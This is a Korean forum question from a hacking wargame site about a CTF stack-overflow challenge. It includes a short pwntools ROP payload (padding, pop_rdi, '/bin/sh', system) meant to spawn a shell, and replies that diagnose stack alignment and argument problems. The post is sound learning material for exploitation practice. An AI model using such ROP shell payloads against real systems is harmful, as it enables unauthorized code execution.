완료됨
익스 코드 전송 이후 문제

스포방지
.
.
.
.
.
.
.
.
.

payload = b'A' * 0x1e0
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi) 
payload += p64(binsh)
payload += p64(system) 
p.sendafter(b'-----Leave a message-----\n', payload)

함수와 문자열의 주소도 다 구하고, 백틱으로 텍스트 파일이 생기지 않게 한 뒤 익스 코드를 보내니 쉘이 안따지고

[*] Switching to interactive mode
[DEBUG] Received 0xe bytes:
b'\n'
b'Bye Bye!!:-)\n'

이렇게 출력이 되는데 왜 이런거고 위의 문자열이 출력되지 않고 쉘을 따려면 어떻게 해야할지 알 수 있을까요?

#pwnable
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 2
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

디버깅을 해봐야 알겠지만

  1. size 변수 크기가 부족해 페이로드가 모두 전달되지 않음.
  2. stack align 문제

정도인 것 같습니다.

2025.09.02. 20:54
avatar
wyv3rn
무플 방지 위원회장
avatar
wyv3rn
무플 방지 위원회장

마찬가지로 디버깅을 해봐야 알겠지만, 명령은 실행된 것으로 보이며, 인자로 쓰이는 주소 내에 잘못된 값이 들어가있는 것 같습니다.

대충 보기엔 c a t 등이 직접적으로 들어가있는 것을 보아 문자열을 아스키 헥스값으로 전달하시면 될 것으로 보입니다.

2025.09.04. 06:18